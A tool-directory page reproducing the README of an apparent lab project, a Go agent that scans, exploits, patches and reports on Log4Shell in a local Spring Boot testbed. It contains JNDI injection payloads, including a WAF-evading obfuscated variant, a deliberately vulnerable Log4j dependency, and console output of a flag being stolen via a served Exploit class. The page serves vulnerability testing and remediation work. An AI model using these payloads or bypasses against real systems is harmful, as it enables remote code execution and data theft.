Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Log4ShellAuditor — An autonomous reflective Go agent for full-cycle security auditing, WAF evasion, OOB LDAP verification, self-remediation (auto-patching), and compliance reporting for CVE-2021-44228 (Log4Shell). | Kitploit
Tools/GitHubGitHub/c00ln3t/log4shellauditor
Vulnerability ScannersPayload GenerationPort ScanningExploitationWeb Application ExploitationWAF BypassPenetration TestingDevSecOpsLabs & Practice
GitHubc00ln3t/log4shellauditor

Log4ShellAuditor

An autonomous reflective Go agent for full-cycle security auditing, WAF evasion, OOB LDAP verification, self-remediation (auto-patching), and compliance reporting for CVE-2021-44228 (Log4Shell).

1823 days agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

AUTO AUDIT Banner

🤖 AUTO AUDIT

Isolated demonstration testbed of an autonomous reflexive executor agent (Go/Java)

Русский 🇷🇺 • English 🇬🇧 • 中文 🇨🇳 • Español 🇪🇸 • Deutsch 🇩🇪 • Italiano 🇮🇹 • العربية 🇸🇦

Go Version Java Version Maven

License
Views
Clones

🧭 Overview

[!NOTE] AUTO AUDIT is a software suite demonstrating a 100% autonomous closed loop (Sense-Think-Act) for detection, verification, exploitation, automatic remediation (Self-Healing / Auto-Remediation), and compliance reporting for the critical vulnerability Log4Shell (CVE-2021-44228 / БДУ ФСТЭК:2021-06103).

The testbed deploys a local web application based on Java Spring Boot, a built-in LDAP TCP Callback Listener, and the cognitive core of a Go agent that makes decisions under partial observability of the external environment (Partially Observable Markov Decision Process — POMDP).```mermaid %%{init: { 'theme': 'dark', 'themeVariables': { 'background': '#0f172a', 'primaryColor': '#1e293b', 'primaryTextColor': '#cbd5e1', 'primaryBorderColor': '#3b82f6', 'lineColor': '#38bdf8', 'secondaryColor': '#1e1b4b', 'tertiaryColor': '#0f172a', 'edgeLabelBackground': '#0f172a' } }}%% graph TD classDef sense fill:#0284c7,stroke:#0ea5e9,stroke-width:2px,color:#fff; classDef think fill:#4f46e5,stroke:#6366f1,stroke-width:2px,color:#fff; classDef act fill:#059669,stroke:#10b981,stroke-width:2px,color:#fff; classDef target fill:#dc2626,stroke:#ef4444,stroke-width:2px,color:#fff;

root@kitploit:~
subgraph Sense ["🔍 СЕНСОРНЫЙ АНАЛИЗ (Sense)"]
    A[Внешние отклики / TCP-коллбеки]:::sense --> B(Обновление Базы Знаний):::sense
end
subgraph Think ["🧠 КОГНИТИВНОЕ ЯДРО (Think)"]
    B --> C{Вычисление Utility Policy}:::think
    C -->|Рефлексивный вывод| D[Выбор эффектора из реестра]:::think
end
subgraph subgraph_Act ["⚡ ИСПОЛНЕНИЕ (Act)"]
    D --> E[Выполнение Tool.Execute]:::act
    E -->|Воздействие| F((Java Spring Boot Target)):::target
    F -.->|Обратный канал OOB| A
end
root@kitploit:~
---

## 🛠️ Technical Architecture and Components

The agent's software structure is designed according to the principles of clean architecture (*Hexagonal Architecture / Ports and Adapters*), SOLID, and TDD:

* 📂 **[cmd/agent/main.go](https://github.com/c00ln3t/log4shellauditor/blob/main/cmd/agent/main.go)** — Entry point. Manages the lifecycle of background processes and coordinates the startup of the agent goroutine.
* 📂 **`internal/`** — Core business logic of the cognitive loop:
  * 🧠 **[agent/agent.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/agent/agent.go)** — Cognitive loop. Implements the control cycle and the decision rule for strategy selection `Think()`.
  * 💾 **[core/model.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/model.go)** — Thread-safe knowledge base (`KnowledgeBase` / LTM) based on `sync.RWMutex`.
  * 🔌 **[core/effector.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/effector.go)** — `Tool` interface for effectors.
  * ⚙️ **[effectors/](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/effectors)** — Registry of polymorphic effectors (tools):
    * 🔍 `ToolPortScanner` — Network perimeter reconnaissance.
    * 🌐 `ToolDiscovery` — Search for articulation points and input vectors (`X-Api-Version`).
    * 🔬 `ToolPayloadGenerator` — Synthesis of the JNDI signature vector.
    * 🚀 `ToolProber` — Vulnerability verification using out-of-band (Out-of-Band) tracing.
    * 🛡️ `ToolSemanticFuzzer` — Bypass of filtering classifiers (WAF Evasion) using nested syntactic mutations.
    * 🩹 `ToolRemediator` — Automatic patching (Self-Healing).
    * 📄 `ToolReporter` — Report generation in accordance with GOST R 56939-2016.
* 📂 **`pkg/`** — Utility packages and libraries:
  * 📡 **[oob/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/oob)** — Out-of-band listeners (LDAP and HTTP).
  * ☕ **[jvm/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/jvm)** — Lifecycle management and restart of a local Java target.
* 📂 **[deployments/](https://github.com/c00ln3t/log4shellauditor/blob/main/deployments)** — Configuration files for deployment (Docker, Compose).
* 📂 **[test/vulnerable-app/](https://github.com/c00ln3t/log4shellauditor/blob/main/test/vulnerable-app)** — Vulnerable test Java Spring Boot application.

---

## 🎯 Mathematical Apparatus and Specification of the Cognitive Cycle (Think-Act Loop)

Agent decision-making is formalized as a **partially observable Markov decision process (POMDP)**, described by the tuple $\langle S, A, T, R, \Omega, O, \gamma \rangle$:
* $S$ — discrete space of hidden states of the target environment (port availability, presence of vulnerable parameters, WAF activity, compromise status, patching status, presence of a compliance report).
* $A$ — action space of effectors (tool invocations: `port_scanner`, `discovery`, `payload_generator`, `prober`, `semantic_fuzzer`, `remediator`, `reporter`, `stop`).
* $\Omega$ — observation space (received HTTP responses, OOB TCP callbacks, file system records).
* $O(o \mid s', a)$ — observation function defining the probability of receiving a response $o \in \Omega$.

### 1. Belief Vector (Belief State)
The agent does not have direct information about the hidden state of the environment $s \in S$ and operates with a belief vector $b(s)$ — a probability distribution over $S$ that is stored and dynamically updated in `KnowledgeBase` memory:
* $b(S_{recon}) \in \{0, 1\}$ — network reconnaissance state (port open/closed). Mapped to `ToolPerformance["port_scanner"]`.
* $b(S_{discovery}) \in \{0, 1\}$ — mapping of input vectors (whether parameters were found). Mapped to `len(DiscoveryVectors) > 0`.
* $b(S_{payload}) \in \{0, 1\}$ — readiness of the exploit signature. Mapped to `len(CustomPayloads) > 0`.
* $b(S_{exploit}) \in \{0, 1\}$ — compromise status (presence of Loot/Flag). Mapped to `len(Loot) > 0`.
* $b(S_{patch}) \in \{0, 1\}$ — fact of vulnerability localization. Mapped to `PatchApplied`.
* $b(S_{verify}) \in \{0, 1\}$ — verification of the absence of a repeated OOB trigger. Mapped to `PatchVerified`.
* $b(S_{report}) \in \{0, 1\}$ — generation of a regulated report. Mapped to `ReportGenerated`.

### 2. Decision Rule Function (Policy Mapping)
The decision-making function `Think()` implements a deterministic decision rule $\pi: B \to A$, sequentially mapping the current accumulated belief state $b$ to the optimal effector action $a \in A$.

### 3. Adaptive Learning and Tool Efficiency Evaluation
For each tool $a \in A$, statistics are accumulated in `ToolStats` memory and a utility metric (Efficiency Score) is calculated:

$$\text{EfficiencyScore}(a) = \frac{SuccessCount_a}{UsageCount_a}$$

The agent uses these metrics to dynamically change its trajectory: if the primary `prober` probe fails ($\text{EfficiencyScore}(\text{prober}) = 0$), the agent identifies the presence of filtering on the target node (WAF), activates a compensatory WAF bypass strategy using the `semantic_fuzzer` tool, and mutates the injection vector.

### Step-by-step testbed scenario:

| Step | Selected Tool | Action and process physics | Belief State Change |
| :--- | :--- | :--- | :--- |
| **1** | `port_scanner` | TCP socket check of host `:8080`. | Open HTTP port of the web service detected ($b(S_{recon}) = 1$). |
| **2** | `discovery` | Performing a GET request, parsing DOM and headers. | Input vector identified: header `X-Api-Version` ($b(S_{discovery}) = 1$). |
| **3** | `payload_generator` | Synthesis of the base exploit vector. | The database is populated with the string `\${jndi:ldap://127.0.0.1:1389/Exploit\}` ($b(S_{payload}) = 1$). |
| **4** | `prober` | Primary attack. The agent sends the payload. | Attempt blocked by WAF. $\text{EfficiencyScore}(\text{prober}) = 0$. |
| **5** | `semantic_fuzzer` | Signature obfuscation via nested lookups. | Mutated signature generated ($b(S_{payload}) = 1$, WAF bypass). |
| **6** | `prober` | Attack with an obfuscated vector. | The built-in LDAP listener records an incoming TCP connection. RCE fact detected ($b(S_{exploit}) = 1$). |
| **7** | `remediator` | Automatic fix. Writing the flag to `remediation.properties` and restarting the JVM. | Spring Boot process restarted with the flag `-Dlog4j2.formatMsgNoLookups=true` ($b(S_{patch}) = 1$). |
| **8** | `prober` | Verification (repeated probing request). | Waiting for an OOB connection on port `1389`. The connection is absent $\rightarrow$ $b(S_{verify}) = 1$. |
| **9** | `reporter` | Markdown report generation. | The document `reports/cve_2021_44228_report.md` has been generated ($b(S_{report}) = 1$). |
| **10**| `stop` | Termination. | Shutdown. |

## 📊 Algorithm Flowcharts

### 1. General agent operation algorithm (Sense-Think-Act Loop)
This diagram describes the continuous lifecycle of the agent: from startup and knowledge base initialization to the end of the audit session.```mermaid
%%{init: {
  'theme': 'dark',
  'themeVariables': {
    'background': '#0f172a',
    'primaryColor': '#1e293b',
    'primaryTextColor': '#cbd5e1',
    'primaryBorderColor': '#475569',
    'lineColor': '#38bdf8',
    'secondaryColor': '#1e293b'
  }
}}%%
flowchart TD
    classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
    classDef step fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
    classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
    classDef action fill:#022c22,stroke:#10b981,stroke-width:1px,color:#e2e8f0;

    Start([Начало]):::startEnd --> Init[Инициализация StandaloneExecutor и KnowledgeBase]:::step
    Init --> LoopStart{Цикл принятия решений}:::decision
    
    %% Think Phase
    LoopStart --> Think["Think: Выбор оптимального инструмента a = Think()"]:::decision
    
    %% Branch on Stop
    Think --> IsStop{a == 'stop'?}:::decision
    IsStop -- Да --> Terminate([Завершение работы агента]):::startEnd
    
    %% Act Phase
    IsStop -- Нет --> FetchTool["Загрузка эффектора из реестра Tools[a]"]:::step
    FetchTool --> Execute[Act: Выполнение Tool.Execute]:::action
    
    %% Sense Phase
    Execute --> Sense[Sense: Получение обратной связи из внешней среды]:::action
    Sense --> UpdateStats[Обновление статистики ToolStats в памяти]:::step
    UpdateStats --> RecordObs[Запись наблюдения в Observations]:::step
    
    %% Wait
    RecordObs --> Delay[Задержка 800 мс]:::step
    Delay --> LoopStart

2. Cognitive Decision Core Algorithm (Think)

This diagram details the logic for choosing the next step based on the current accumulated belief vector (Belief State) inside the Think() function:```mermaid %%{init: { 'theme': 'dark', 'themeVariables': { 'background': '#0f172a', 'primaryColor': '#1e293b', 'primaryTextColor': '#cbd5e1', 'primaryBorderColor': '#475569', 'lineColor': '#38bdf8', 'secondaryColor': '#1e293b' } }}%% flowchart TD classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc; classDef process fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0; classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0; classDef selection fill:#064e3b,stroke:#10b981,stroke-width:1px,color:#e2e8f0;

root@kitploit:~
Start(["Вызов Think()"]):::startEnd --> Lock["Блокировка памяти RLock()"]:::process
Lock --> ReadState[Чтение вектора доверия b]:::process

%% Step 1
ReadState --> PortScan{port_scanner выполнен?}:::decision
PortScan -- Нет --> RetPortScan[Выбрать 'port_scanner']:::selection

%% Step 2
PortScan -- Да --> Discovery{Найдено векторов ввода?}:::decision
Discovery -- Нет --> RetDiscovery[Выбрать 'discovery']:::selection

%% Step 3
Discovery -- Да --> Payload{Сгенерирована эксплоит-сигнатура?}:::decision
Payload -- Нет --> RetPayload[Выбрать 'payload_generator']:::selection

%% Step 4 (Exploit)
Payload -- Да --> Loot{Флаг RCE перехвачен?}:::decision
Loot -- Нет --> ProberStats{Была попытка prober?}:::decision

ProberStats -- Нет --> RetProber[Выбрать 'prober']:::selection
ProberStats -- Да --> FuzzerStats{Fuzzer выполнен?}:::decision
FuzzerStats -- Нет --> RetFuzzer[Выбрать 'semantic_fuzzer']:::selection
FuzzerStats -- Да --> RetProber:::selection

%% Step 5
Loot -- Да --> Patch{Патч применен?}:::decision
Patch -- Нет --> RetRemediator[Выбрать 'remediator']:::selection

%% Step 6
Patch -- Да --> Verify{Патч верифицирован?}:::decision
Verify -- Нет --> RetProberVerify[Выбрать 'prober' в режиме верификации]:::selection

%% Step 7
Verify -- Да --> Report{Отчет сформирован?}:::decision
Report -- Нет --> RetReporter[Выбрать 'reporter']:::selection

%% Step 8
Report -- Да --> RetStop[Выбрать 'stop']:::selection

%% Return Statements
RetPortScan --> Unlock["Разблокировка RUnlock()"]:::process
RetDiscovery --> Unlock
RetPayload --> Unlock
RetProber --> Unlock
RetFuzzer --> Unlock
RetRemediator --> Unlock
RetProberVerify --> Unlock
RetReporter --> Unlock
RetStop --> Unlock

Unlock --> End([Возврат выбранного инструмента]):::startEnd
root@kitploit:~
## 📦 Vulnerable Java Application Specification

The target application in the `test/vulnerable-app/` directory is a minimal REST service based on **Spring Boot 2.7.18** with deliberately downgraded versions of **Apache Log4j2** libraries:```xml
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version> <!-- Уязвимая версия, поддерживающая lookup JNDI -->
</dependency>

The vulnerable controller logs incoming HTTP headers without prior sanitization:```java logger.info("[AUDIT] API Version header logged: {}", apiVersion);

root@kitploit:~
When a string of the form `\${jndi:ldap://...\}` is received, the logger initiates resolution of the JNDI address by sending a request via the LDAP protocol to port `1389`.

---

## 🚀 How to Run

The demo environment supports two deployment modes: local launch directly on the host system (Option A) or a fully containerized launch in an isolated network environment via Docker Compose (Option B).

### Option A. Local Launch on the Host System

#### Prerequisites
* **JDK 17+** (check via `java -version`)
* **Maven 3.8+** (check via `mvn -version`)
* **Go 1.21+** (check via `go version`)

#### 1. Building the Java Microservice
Compile the Java target into a fat JAR artifact:```bash
cd test/vulnerable-app
mvn clean package
cd ../..

Make sure the file vulnerable-app-simple-1.0.0.jar was successfully created in the test/vulnerable-app/target/ directory.

2. Building the Exploit payload

Compile the Java Exploit class that will be served by the HTTP server:```bash javac internal/payload/Exploit.java

root@kitploit:~
#### 3. Compiling and launching the demonstration stand
Running in Go's on-the-fly interpretation mode:```bash
go run ./cmd/agent

Or compile it into an executable binary file:```bash go build -o test_agent ./cmd/agent ./test_agent

root@kitploit:~
---

### Option B. Running in an isolated Docker environment (Docker Compose)

> [!TIP]
> This option does not require Go, Java, or Maven to be installed on your host system. The entire environment is built and orchestrated automatically in an isolated virtual network `172.20.0.0/16`.

#### Prerequisites
* Installed **Docker** and the **Docker Compose** plugin (check via `docker compose version`).

#### 1. Starting the environment
Build the images and start the containers with a single command from the project root directory:```bash
docker compose -f deployments/docker-compose.yml up --build

2. Description of processes in containers:

  • vulnerable-app will automatically compile the Java Spring Boot application, write a secret flag to the closed directory /var/lib/secret/flag.txt, and start a web server on port :8080.
  • reflective-agent will compile the Go agent code, compile the Java payload Exploit.java, spin up OOB servers, and launch the cognitive loop.
  • The local reports/ folder on the host system is mounted to the agent container — the GOST report generated at the end of the run will automatically be saved to your reports/cve_2021_44228_report.md directory.

3. Stopping the testbed

To finish the simulation and remove network resources, run:```bash docker compose -f deployments/docker-compose.yml down

root@kitploit:~
---

## 📊 Console output example```text
=== ДЕМОНСТРАЦИОННЫЙ СТЕНД РЕАКТИВНОГО АГЕНТА (JAVA SPRING TARGET) ===
[*] Запуск скомпилированного уязвимого Java Spring приложения локально...
[*] Ожидание инициализации веб-контекста Spring (3.5 сек)...
[*] Инициализация агента-исполнителя для цели: http://localhost:8080
================================================================
[ВЫВОД] Выбран инструмент: 'port_scanner' (Текущая фаза: Reconnaissance)
[ЭФФЕКТОР:port_scanner] Сканирование порта localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружен открытый HTTP-порт localhost:8080. Java Spring Web-служба отвечает.

[ВЫВОД] Выбран инструмент: 'discovery' (Текущая фаза: Discovery)
[ЭФФЕКТОР:discovery] Исследование структуры веб-приложения http://localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружены потенциальные векторы ввода: GET-параметр '/?input=' и HTTP-заголовок 'X-Api-Version'.

[ВЫВОД] Выбран инструмент: 'payload_generator' (Текущая фаза: Discovery)
[ЭФФЕКТОР:payload_generator] Анализ уязвимостей и синтез сигнатур...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирована сигнатурная нагрузка для CVE-2021-44228: '${jndi:ldap://127.0.0.1:1389/Exploit}'.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${jndi:ldap://127.0.0.1:1389/Exploit}' на http://localhost:8080...
[НАБЛЮДЕНИЕ] FAILURE: Атака не удалась. Уязвимость не эксплуатирована или флаг не перехвачен.

[ВЫВОД] Выбран инструмент: 'semantic_fuzzer' (Текущая фаза: Discovery)
[ЭФФЕКТОР:semantic_fuzzer] Запуск обфускации и семантического фаззинга против WAF...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирован обфусцированный вектор обхода: '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}'.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}' на http://localhost:8080...
[LDAP SERVER] Получен LDAP BindRequest. Отправка BindResponse...
[LDAP SERVER] Получен LDAP SearchRequest. Отправка JNDI Referral...
[HTTP SERVER] Получен запрос на загрузку Exploit.class
[HTTP SERVER] >>> ПЕРЕХВАЧЕН СЕКРЕТНЫЙ ФЛАГ: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026} <<<
[НАБЛЮДЕНИЕ] SUCCESS: LDAP Callback получен на порту 1389. RCE отработал. Перехваченный флаг: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026}.

[ВЫВОД] Выбран инструмент: 'remediator' (Текущая фаза: Remediation)
[ЭФФЕКТОР:remediator] Анализ причин уязвимости и генерация исправления для http://localhost:8080...
[ЭФФЕКТОР:remediator] Отправка команды применения патча на http://localhost:8080/remediate...
[НАБЛЮДЕНИЕ] REMEDIATION_SUCCESS: Патч применен. На целевое приложение отправлен запрос ремедиации (изменен флаг -Dlog4j2.formatMsgNoLookups=true). JVM успешно переинициализирована.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Verification)
[ЭФФЕКТОР:prober] Верификация патча: Повторная атака уязвимости на http://localhost:8080...
[НАБЛЮДЕНИЕ] VERIFICATION_SUCCESS: Попытка эксплуатации отклонена сервером. Входящий TCP-коллбек на порт 1389 отсутствует. Уязвимость успешно устранена.

[ВЫВОД] Выбран инструмент: 'reporter' (Текущая фаза: Verification)
[ЭФФЕКТОР:reporter] Формирование отчета об уязвимости по стандартам РФ для http://localhost:8080...
[НАБЛЮДЕНИЕ] REPORT_SUCCESS: Отчет успешно сгенерирован и сохранен в файл 'reports/cve_2021_44228_report.md'.

================================================================
[INFO] Жизненный цикл аудита, патчинга и комплаенса завершен.

📜 Information security and compliance

The agent-generated report in the file reports/cve_2021_44228_report.md takes into account key Russian information security standards:

  • GOST R 56939-2016 — Secure software development.
  • Federal Law No. 152 — Requirements for the protection of personal data (PD) when detecting undeclared capabilities.
  • Federal Law No. 187 — Ensuring the sustainability of critical information infrastructure facilities (CII of the Russian Federation).

🛡️ License

This project is distributed under the MIT license. See the LICENSE file for details.

Download Tool